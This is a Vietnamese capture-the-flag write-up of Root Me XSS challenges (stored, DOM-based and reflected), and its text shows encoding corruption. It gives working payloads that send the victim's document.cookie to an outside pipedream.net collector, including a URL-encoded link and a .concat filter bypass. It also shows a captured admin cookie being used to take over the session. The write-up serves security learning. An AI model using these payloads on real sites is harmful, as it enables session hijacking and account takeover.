✏️[Root me] Writeup XSS Challenge

XSS - Stored 1

Trong bΓ i nΓ y nΓ y basic, khi vΓ o chΓΊng ta sαΊ½ thαΊ₯y interface nhΖ° nΓ y:

CΓ³ form Δ‘iền Title vΓ  Mesage khi Δ‘Γ³ chΓΊg ta hΓ£y thα»­ gα»­i lΓͺn mα»™t Δ‘oαΊ‘n message nhΖ° người dΓΉng bΓ¬nh thường, tiαΊΏp Δ‘Γ³ thα»­ chΓ¨n Δ‘oαΊ‘n script: <script>alert(1)</script>

Khi Δ‘Γ³ chΓΊng ta thαΊ₯y script nΓ y chΓ¨n thΓ nh cΓ΄ng vΓ o span tag vΓ o payload thΓ nh cΓ΄ng tα»« Δ‘Γ³ chΓΊng ta thay alert() thΓ nh document.location="https://eoqnvkovg5mm73q.m.pipedream.net?c="+document.cookie

Chờ mα»™t phΓΊt sau cookie sαΊ½ được gα»­i về requestbinarrow-up-right

XSS DOM Based – Introduction

Trong bài này thì khi vào nó cho một input nhập từ 0 tới 100, thử nhập 100 xem nó sẽ ra gì:

Ctr+U để mở source code lΓͺn xem nhΖ° nΓ o:

Ở Δ‘Γ’y ta thαΊ₯y rαΊ±ng cΓ³ mα»™t biαΊΏn lΓ  number vΓ  khi ta nhαΊ­p sα»‘ lΓ  biαΊΏn number được gΓ‘n vΓ o:

Ý tưởng bài này thì chúng ta sẽ break out JS bằng cÑch '; hoặc '-

';alert(1)// hoαΊ·c '-alert(1)//

Payload thΓ nh cΓ΄ng!!! Khi Δ‘Γ³ Δ‘oαΊ‘n script nΓ³ sαΊ½ nhΖ° nΓ y:

VαΊ­y nhΖ° bΓ i trΓͺn chΓΊng ta lαΊ‘i thay payload nhΖ° nΓ y trΓͺn URL

http://my-url/number=%27%3Bdocument.location%3D%22https%3A%2F%2Feoqnvkovg5mm73q.m.pipedream.net%3Fc%3D%22%2Bdocument.cookie//

VΓ¬ XSS lΓ  lα»— hα»•ng client side nΓͺn chΓΊng ta sαΊ½ gα»­i nΓ³ tα»« contact cho admin:

Khi Δ‘Γ³ con bot sαΊ½ leak cookie cα»§a admin về khi admin nhαΊ₯p vΓ o đọc:

Graphical user interface, text, application Description automatically generated

XSS Reflected

BΓ i nΓ y nhΓ¬n qua thΓ¬ khΓ΄ng cΓ³ form để test XSS mΓ  đề bΓ i lΓ  Reflected XSS nΓͺn chΓΊng ta sαΊ½ xem xΓ©t ở URL:

Graphical user

Nếu chúng ta thay đổi p=sha1 thì nó sẽ ra gì:

NΓ³ sαΊ½ ra nhΖ° nΓ y, tiαΊΏp Δ‘Γ³ mở source code kiαΊΏm tra:

ThαΊ₯y rαΊ±ng p=sha1 lΓ  giΓ‘ trα»‹ cα»§a thuα»™c tΓ­nh href nhΖ° vαΊ­y chΓΊng ta cαΊ§n suy nghΔ©a lΓ m sao để chΓ¨n được vΓ o Δ‘Γ’y.

DΓΉng thuα»™c tΓ­nh onmousover hoαΊ·c onclick để thΓͺm vΓ o thαΊ» <a> nhΖ°ng nΓͺn nhα»› rαΊ±ng thường thΓ¬ admin sαΊ½ khΓ΄ng nhαΊ₯p vΓ o link lαΊ‘ nΓͺn ở Δ‘Γ’y chΓΊng ta chọn omouseover, khi Δ‘Γ³ Δ‘oαΊ‘n gαΊ―n shau p sαΊ½ lΓ :

sha1' onmousemove='alert(1)

Khi Δ‘Γ³ payload sαΊ½ nhΖ° nΓ y:

sha1' onmousemove='document.location="https://eoqnvkovg5mm73q.m.pipedream.net?c=".concat(document.cookie)

NΓͺn nhα»› rαΊ±ng chΓΊng ta phαΊ£i dΓΉng nα»‘i chuα»—i .concat trong JS vΓ¬ dαΊ₯u + Δ‘Γ£ bα»‹ filter Δ‘i

Sau khi gα»­i vΓ  report cho admin thΓ¬ chΓΊng ta chờ mα»™t phΓΊt để con bot leak thΓ΄ng tin vΓ  gα»­i về requestbin

XSS - Stored 2

Interface khΓ‘ giα»‘ng vα»›i bΓ i Stored 1 nhΖ°ng chỉ cΓ³ Δ‘iều nΓ³ thΓͺm status

BαΊ­t source code lΓͺn kiểm tra thΓ¬ cΓ³ mα»™t class được Δ‘αΊ·t lΓ  invite

Ý tưởng sαΊ½ dΓΉng Burp suite để bαΊ―t hΓ nh Δ‘α»™ng:

NhαΊ­n thαΊ₯y Cookie cΓ³ status:invite, vαΊ­y thΓ¬ chΓΊng ta hay thα»­ thay Δ‘α»•i giΓ‘ trα»‹ status xem nhΖ° nΓ o:

Khi Δ‘Γ³ chΓΊng ta forward để trang web gα»­i lΓͺn sever vΓ  nhαΊ­n ra rαΊ±ng status Δ‘Γ£ thay Δ‘α»•i

Ý tưởng bΓ’y giờ lΓ  break out Δ‘oαΊ‘n souce code nΓ y:

Ở Δ‘Γ’y payload lΓΊc Δ‘Γ³ sαΊ½ lΓ  "><img scr=1 onerror=alert(1) /> ("> để Δ‘Γ³ng thαΊ» i lαΊ‘i)

Payload thΓ nh cΓ΄ng giờ chỉ cαΊ§n thay alert() thΓ nh document....vΓ  gα»­i nΓ³ lΓͺn, đợi mα»™t lΓΊc thΓ¬ được trαΊ£ về ADMIN_COOKIE nhΖ° nΓ y<<<LΖ°u Γ½: cΓ³ thể dΓΉng .concat để nα»‘i chuα»—i nαΊΏu bα»‹ filter dαΊ₯u + >>

LΓΊc Δ‘αΊ§u mΓ¬nh nghΔ©a Δ‘Γ’y lΓ  flag nhΖ°ng khΓ΄ng Δ‘ΓΊng, thΓ¬ chợt nhαΊ­n ra status nΓ³ lΓ  invite thΓ¬ mΓ¬nh cαΊ§n thay Δ‘α»•i cookie vΓ  reload lαΊ‘i trang:

Cookie: status=invite; ADMIN_COOKIE=SY2USDIH78TF3DFU78546TE7F

CΓ‘c phαΊ§n tiαΊΏp theo sαΊ½ được cαΊ­p nhαΊ­t trong thời gian sα»›m nhαΊ₯t cαΊ£m Ζ‘n cΓ‘c bαΊ‘n Δ‘Γ£ đọc bΓ i...

Last updated